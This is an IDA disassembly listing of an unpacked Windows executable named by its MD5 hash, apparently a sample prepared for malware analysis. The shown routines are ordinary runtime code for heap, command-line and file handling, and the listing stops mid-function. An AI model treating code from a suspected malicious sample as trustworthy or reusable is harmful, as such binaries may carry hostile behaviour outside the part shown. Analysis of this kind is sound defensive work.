;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D33639CB8ED72AC28C56C53BFE43028A

; File Name   :	u:\work\d33639cb8ed72ac28c56c53bfe43028a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003923 (  14627.)
; Section size in file		: 00003923 (  14627.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_401000	dd offset dword_401004	; DATA XREF: CODE:0040314Co
					; CODE:00403154o
dword_401004	dd 7453060Ah, 676E6972h
; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100C	proc near		; CODE XREF: sub_402914+9p
		jmp	ds:dword_407104
sub_40100C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401014	proc near		; CODE XREF: sub_4010F4+Dp
		jmp	ds:dword_407100
sub_401014	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101C	proc near		; CODE XREF: sub_40112C+11p
		jmp	ds:dword_4070FC
sub_40101C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401024	proc near		; CODE XREF: sub_401108+13p
		jmp	ds:dword_4070F8
sub_401024	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102C	proc near		; CODE XREF: sub_401CDC+7Cp
		jmp	ds:dword_4070F4
sub_40102C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401034	proc near		; CODE XREF: sub_4013B0+24p
		jmp	ds:dword_4070F0
sub_401034	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_4029E8+Cp
		jmp	ds:dword_4070EC
sub_40103C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401044	proc near		; CODE XREF: sub_402944+3p
		jmp	ds:dword_4070E8
sub_401044	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40104C	proc near		; CODE XREF: sub_40299C+25p
					; sub_40299C+36p
		jmp	ds:dword_4070E4
sub_40104C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401054	proc near		; CODE XREF: sub_402958+3Dp
		jmp	ds:dword_4070E0
sub_401054	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105C	proc near		; CODE XREF: sub_4013B0:loc_4013E6p
		jmp	ds:dword_4070DC
sub_40105C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; CODE XREF: sub_4014C8+4p
					; CODE:00401684p
		jmp	ds:dword_4070D8
sub_401064	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40106C	proc near		; CODE XREF: CODE:00401580p
					; sub_40190C+9Bp
		jmp	ds:dword_4070D4
sub_40106C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401074	proc near		; CODE XREF: CODE:00401669p
		jmp	ds:dword_4070D0
sub_401074	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107C	proc near		; CODE XREF: sub_401410+Ap
		jmp	ds:dword_4070CC
sub_40107C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401084	proc near		; CODE XREF: CODE:004015A4p
					; sub_40185C+1Cp
		jmp	ds:dword_4070C8
sub_401084	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: CODE:loc_401653p
					; sub_40190C:loc_4019C7p
		jmp	ds:dword_4070C4
sub_40108C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401094	proc near		; CODE XREF: sub_401B6C+1Cp
					; DATA XREF: sub_401C70o ...
		jmp	ds:dword_4070C0
sub_401094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109C	proc near		; CODE XREF: sub_40144C+1Ep
					; CODE:004015E1p
		jmp	ds:dword_4070BC
sub_40109C	endp

; ---------------------------------------------------------------------------
		align 4


loc_4010A4:				; DATA XREF: sub_401C70+Ao
					; BSS:off_40600Co
		jmp	ds:dword_4070B8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AC	proc near		; CODE XREF: CODE:00401618p
		jmp	ds:dword_4070B4
sub_4010AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B4	proc near		; CODE XREF: CODE:004015C0p
					; CODE:0040160Ap
		jmp	ds:dword_4070B0
sub_4010B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_40148C+1Fp
		jmp	ds:dword_4070AC
sub_4010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_4012C4+Bp
					; sub_4012C4+37p ...
		jmp	ds:dword_40710C
sub_4010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401CDC+B2p
		jmp	ds:dword_4070A8
sub_4010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401258p
					; sub_40144C+27p ...
		jmp	ds:dword_4070A4
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_402208+16p
		jmp	ds:dword_407118
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_402208-Ap
		jmp	ds:dword_407114
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EC	proc near		; CODE XREF: sub_402914+22p
		jmp	ds:dword_4070A0
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010F4	proc near		; CODE XREF: sub_401144+4p
					; sub_401174+3Fp
					; DATA XREF: ...
		push	eax
		mov	eax, ds:dword_40503C
		push	eax
		mov	eax, ds:dword_4063C0
		push	eax
		call	sub_401014	; RtlAllocateHeap
		retn
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401108	proc near		; CODE XREF: sub_40115C+4p
					; sub_401174+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_40503C
		and	eax, 1
		push	eax
		mov	eax, ds:dword_4063C0
		push	eax
		call	sub_401024	; RtlFreeHeap
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_401108	endp


; =============== S U B	R O U T	I N E =======================================



sub_40112C	proc near		; CODE XREF: sub_401174+Dp
					; DATA XREF: DATA:off_405048o
		push	edx
		push	eax
		mov	eax, ds:dword_40503C
		and	eax, 0
		push	eax
		mov	eax, ds:dword_4063C0
		push	eax
		call	sub_40101C	; RtlReAllocateHeap
		retn
sub_40112C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401144	proc near		; CODE XREF: sub_401E84+Cp
					; sub_40265C+CAp ...
		test	eax, eax
		jz	short locret_401152
		call	ds:off_405040
		or	eax, eax
		jz	short loc_401153

locret_401152:				; CODE XREF: sub_401144+2j
		retn
; ---------------------------------------------------------------------------


loc_401153:				; CODE XREF: sub_401144+Cj
		mov	al, 1
		jmp	sub_40121C
sub_401144	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40115C	proc near		; CODE XREF: sub_401DC4+1Bp
					; sub_401DE8+20p ...
		test	eax, eax
		jz	short locret_40116A
		call	ds:off_405044
		or	eax, eax
		jnz	short loc_40116B

locret_40116A:				; CODE XREF: sub_40115C+2j
		retn
; ---------------------------------------------------------------------------


loc_40116B:				; CODE XREF: sub_40115C+Cj
		mov	al, 2
		jmp	sub_40121C
sub_40115C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401174	proc near		; CODE XREF: sub_402184+22p
					; sub_40265C+BBp
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4011AC
		test	edx, edx
		jz	short loc_401196
		push	eax
		mov	eax, ecx
		call	ds:off_405048
		pop	ecx
		or	eax, eax
		jz	short loc_4011A5
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40118F:				; CODE XREF: sub_401174+2Ej
		mov	al, 2
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_401196:				; CODE XREF: sub_401174+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_405044
		or	eax, eax
		jnz	short loc_40118F
		retn
; ---------------------------------------------------------------------------


loc_4011A5:				; CODE XREF: sub_401174+16j
					; sub_401174+48j
		mov	al, 1
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4011AC:				; CODE XREF: sub_401174+4j
		test	edx, edx
		jz	short locret_4011C0
		push	eax
		mov	eax, edx
		call	ds:off_405040
		pop	ecx
		or	eax, eax
		jz	short loc_4011A5
		mov	[ecx], eax

locret_4011C0:				; CODE XREF: sub_401174+3Aj
		retn
sub_401174	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4011C4	proc near		; CODE XREF: sub_4011D0+42p
		mov	ds:dword_405004, edx
		call	sub_401DAC
sub_4011C4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4011D0	proc near		; CODE XREF: sub_40121C+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_406004, 0
		jz	short loc_4011EC
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_406004


loc_4011EC:				; CODE XREF: sub_4011D0+10j
		test	bl, bl
		jnz	short loc_4011FD
		call	sub_40299C
		mov	ebx, [eax+0]
		jmp	short loc_40120C
; ---------------------------------------------------------------------------


loc_4011FD:				; CODE XREF: sub_4011D0+1Ej
		cmp	bl, 18h
		ja	short loc_40120C
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_40504C[eax]


loc_40120C:				; CODE XREF: sub_4011D0+2Bj
					; sub_4011D0+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_4011C4
sub_4011D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40121C	proc near		; CODE XREF: sub_401144+11j
					; sub_40115C+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_4011D0
sub_40121C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401228	proc near		; CODE XREF: sub_402CDC+59p
					; sub_402CDC+69p ...
		push	eax
		push	edx
		push	ecx
		call	sub_40299C
		cmp	dword ptr [eax+0], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_40123D
		retn
; ---------------------------------------------------------------------------


loc_40123D:				; CODE XREF: sub_401228+12j
		xor	eax, eax
		jmp	sub_40121C
sub_401228	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401248	proc near		; CODE XREF: sub_401258+5p
					; sub_40171C+36p ...
		push	ebx
		mov	ebx, eax
		call	sub_40299C
		mov	[eax+0], ebx
		pop	ebx
		retn
sub_401248	endp


; =============== S U B	R O U T	I N E =======================================



sub_401258	proc near		; CODE XREF: sub_40185C+28p
					; sub_4018E4+17p
		call	sub_4010D4	; RtlGetLastWin32Error
		call	sub_401248
		retn
sub_401258	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401264	proc near		; CODE XREF: sub_4016A4+4Fp
					; sub_401840+14p ...
		cmp	ecx, 4
		jge	short loc_401285
		jcxz	locret_4012C3
		cmp	eax, edx
		jz	short locret_4012C3
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_401281
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_401281:				; CODE XREF: sub_401264+12j
		rep movsb
		jmp	short loc_4012B1
; ---------------------------------------------------------------------------


loc_401285:				; CODE XREF: sub_401264+3j
		cmp	eax, edx
		jz	short locret_4012C3
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_4012B3
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_4012B1:				; CODE XREF: sub_401264+1Fj
		cld
		dec	ecx


loc_4012B3:				; CODE XREF: sub_401264+2Dj
		sar	ecx, 2
		js	short loc_4012C1
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_4012C1:				; CODE XREF: sub_401264+52j
		pop	edi
		pop	esi

locret_4012C3:				; CODE XREF: sub_401264+5j
					; sub_401264+Aj ...
		retn
sub_401264	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012C4	proc near		; CODE XREF: sub_4013B0+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_4012D6
; ---------------------------------------------------------------------------


loc_4012CE:				; CODE XREF: sub_4012C4+1Aj
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	ebx, eax


loc_4012D6:				; CODE XREF: sub_4012C4+8j
					; sub_4012C4+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012E0
		cmp	al, 20h
		jbe	short loc_4012CE


loc_4012E0:				; CODE XREF: sub_4012C4+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4012F0
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_4012F0
		add	ebx, 2
		jmp	short loc_4012D6
; ---------------------------------------------------------------------------


loc_4012F0:				; CODE XREF: sub_4012C4+1Fj
					; sub_4012C4+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_401339
; ---------------------------------------------------------------------------


loc_4012F6:				; CODE XREF: sub_4012C4+79j
		cmp	al, 22h
		jnz	short loc_40132B
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	ebx, eax
		jmp	short loc_401312
; ---------------------------------------------------------------------------


loc_401304:				; CODE XREF: sub_4012C4+56j
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401312:				; CODE XREF: sub_4012C4+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_40131C
		cmp	al, 22h
		jnz	short loc_401304


loc_40131C:				; CODE XREF: sub_4012C4+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_401339
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	ebx, eax
		jmp	short loc_401339
; ---------------------------------------------------------------------------


loc_40132B:				; CODE XREF: sub_4012C4+34j
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401339:				; CODE XREF: sub_4012C4+30j
					; sub_4012C4+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4012F6
		mov	eax, esi
		mov	edx, ebp
		call	sub_402184
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_4013A1
; ---------------------------------------------------------------------------


loc_401350:				; CODE XREF: sub_4012C4+E1j
		cmp	al, 22h
		jnz	short loc_40138C
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	ebx, eax
		jmp	short loc_401373
; ---------------------------------------------------------------------------


loc_40135E:				; CODE XREF: sub_4012C4+B7j
		push	ebx
		call	sub_4010C4	; CharNextA
		cmp	eax, ebx
		jbe	short loc_401373


loc_401368:				; CODE XREF: sub_4012C4+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401368


loc_401373:				; CODE XREF: sub_4012C4+98j
					; sub_4012C4+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40137D
		cmp	al, 22h
		jnz	short loc_40135E


loc_40137D:				; CODE XREF: sub_4012C4+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_4013A1
		push	ebx
		call	sub_4010C4	; CharNextA
		mov	ebx, eax
		jmp	short loc_4013A1
; ---------------------------------------------------------------------------


loc_40138C:				; CODE XREF: sub_4012C4+8Ej
		push	ebx
		call	sub_4010C4	; CharNextA
		cmp	eax, ebx
		jbe	short loc_4013A1


loc_401396:				; CODE XREF: sub_4012C4+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401396


loc_4013A1:				; CODE XREF: sub_4012C4+8Aj
					; sub_4012C4+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_401350
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4013B0	proc near		; CODE XREF: CODE:00404096p
					; CODE:004041CBp ...

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_401DC4
		test	esi, esi
		jnz	short loc_4013E6
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_401034	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_401EB0
		jmp	short loc_401404
; ---------------------------------------------------------------------------


loc_4013E6:				; CODE XREF: sub_4013B0+16j
		call	sub_40105C	; GetCommandLineA
		mov	edi, eax


loc_4013ED:				; CODE XREF: sub_4013B0+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_4012C4
		mov	edi, eax
		test	esi, esi
		jz	short loc_401404
		cmp	dword ptr [ebx], 0
		jz	short loc_401404
		dec	esi
		jmp	short loc_4013ED
; ---------------------------------------------------------------------------


loc_401404:				; CODE XREF: sub_4013B0+34j
					; sub_4013B0+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401410	proc near		; CODE XREF: CODE:004041EAp

var_18		= byte ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40107C	; GetSystemTime
		movzx	eax, [ebp+var_10]
		imul	eax, 3Ch
		add	ax, [ebp+var_E]
		imul	eax, 3Ch
		xor	edx, edx
		mov	dx, [ebp+var_C]
		add	eax, edx
		imul	eax, 3E8h
		mov	dx, [ebp+var_A]
		add	eax, edx
		mov	ds:dword_405008, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_401410	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40144C	proc near		; DATA XREF: CODE:00401528o
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0
		lea	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_40109C	; ReadFile
		test	eax, eax
		jnz	short loc_401481
		call	sub_4010D4	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jnz	short loc_401483
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401481:				; CODE XREF: sub_40144C+25j
		xor	eax, eax


loc_401483:				; CODE XREF: sub_40144C+2Fj
		pop	ebx
		retn
sub_40144C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401488	proc near		; DATA XREF: CODE:0040155Fo
					; CODE:0040162Fo ...
		xor	eax, eax
		retn
sub_401488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40148C	proc near		; DATA XREF: CODE:loc_401551o
					; CODE:00401677o

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_40149C
		xor	eax, eax
		jmp	short loc_4014C2
; ---------------------------------------------------------------------------


loc_40149C:				; CODE XREF: sub_40148C+Aj
		push	0
		lea	eax, [esp+10h+var_C]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_4010BC	; WriteFile
		test	eax, eax
		jnz	short loc_4014BB
		call	sub_4010D4	; RtlGetLastWin32Error
		jmp	short loc_4014BD
; ---------------------------------------------------------------------------


loc_4014BB:				; CODE XREF: sub_40148C+26j
		xor	eax, eax


loc_4014BD:				; CODE XREF: sub_40148C+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_4014C2:				; CODE XREF: sub_40148C+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40148C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014C8	proc near		; CODE XREF: sub_4014D8+Bp
					; sub_4018E4+Ep
		push	ebx
		mov	ebx, eax
		push	ebx
		call	sub_401064	; CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_4014C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014D8	proc near		; DATA XREF: CODE:loc_401558o
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_4014C8
		test	al, al
		jnz	short loc_4014F3
		call	sub_4010D4	; RtlGetLastWin32Error
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4014F3:				; CODE XREF: sub_4014D8+12j
		xor	eax, eax
		pop	ebx
		retn
sub_4014D8	endp

; ---------------------------------------------------------------------------
		align 4


loc_4014F8:				; DATA XREF: sub_4016A4+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_401519
		dec	eax
		jz	short loc_401531
		dec	eax
		jz	short loc_401542
		jmp	loc_401680
; ---------------------------------------------------------------------------


loc_401519:				; CODE XREF: CODE:0040150Cj
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_40144C
		jmp	short loc_401558
; ---------------------------------------------------------------------------


loc_401531:				; CODE XREF: CODE:0040150Fj
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_401551
; ---------------------------------------------------------------------------


loc_401542:				; CODE XREF: CODE:00401512j
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_401551:				; CODE XREF: CODE:00401540j
		mov	dword ptr [esi+1Ch], offset sub_40148C


loc_401558:				; CODE XREF: CODE:0040152Fj
		mov	dword ptr [esi+24h], offset sub_4014D8
		mov	dword ptr [esi+20h], offset sub_401488
		cmp	byte ptr [esi+48h], 0
		jz	loc_401622
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_40106C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_401696
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_40165F
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	sub_401084	; GetFileSize
		inc	eax
		jz	loc_401696
		sub	eax, 81h
		jnb	short loc_4015B9
		xor	eax, eax


loc_4015B9:				; CODE XREF: CODE:004015B5j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4010B4	; SetFilePointer
		inc	eax
		jz	loc_401696
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	sub_40109C	; ReadFile
		pop	edx
		dec	eax
		jnz	loc_401696
		xor	eax, eax


loc_4015F0:				; CODE XREF: CODE:004015FFj
		cmp	eax, edx
		jnb	short loc_40165F
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_401601
		inc	eax
		jmp	short loc_4015F0
; ---------------------------------------------------------------------------


loc_401601:				; CODE XREF: CODE:004015FCj
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	sub_4010B4	; SetFilePointer
		inc	eax
		jz	loc_401696
		push	dword ptr [esi]
		call	sub_4010AC	; SetEndOfFile
		dec	eax
		jnz	short loc_401696
		jmp	short loc_40165F
; ---------------------------------------------------------------------------


loc_401622:				; CODE XREF: CODE:0040156Aj
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_401488
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_401645
		push	0FFFFFFF6h
		jmp	short loc_401653
; ---------------------------------------------------------------------------


loc_401645:				; CODE XREF: CODE:0040163Fj
		cmp	esi, offset dword_4061F0
		jnz	short loc_401651
		push	0FFFFFFF4h
		jmp	short loc_401653
; ---------------------------------------------------------------------------


loc_401651:				; CODE XREF: CODE:0040164Bj
		push	0FFFFFFF5h


loc_401653:				; CODE XREF: CODE:00401643j
					; CODE:0040164Fj
		call	sub_40108C	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401696
		mov	[esi], eax


loc_40165F:				; CODE XREF: CODE:00401596j
					; CODE:004015F2j ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_40167E
		push	dword ptr [esi]
		call	sub_401074	; GetFileType
		test	eax, eax
		jz	short loc_401682
		cmp	eax, 2
		jnz	short loc_40167E
		mov	dword ptr [esi+20h], offset sub_40148C


loc_40167E:				; CODE XREF: CODE:00401665j
					; CODE:00401675j
		xor	eax, eax


loc_401680:				; CODE XREF: CODE:00401514j
					; CODE:00401694j ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401682:				; CODE XREF: CODE:00401670j
		push	dword ptr [esi]
		call	sub_401064	; CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_401680
; ---------------------------------------------------------------------------


loc_401696:				; CODE XREF: CODE:00401588j
					; CODE:004015AAj ...
		mov	word ptr [esi+4], 0D7B0h
		call	sub_4010D4	; RtlGetLastWin32Error
		jmp	short loc_401680
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4016A4	proc near		; CODE XREF: sub_402CDC+44p
					; CODE:004042D5p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_4018A8
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	eax, eax
		mov	al, ds:byte_405014
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_4014F8
		mov	eax, esi
		call	sub_401F04
		push	eax
		mov	eax, esi
		call	sub_402058
		lea	edx, [ebx+48h]
		pop	ecx
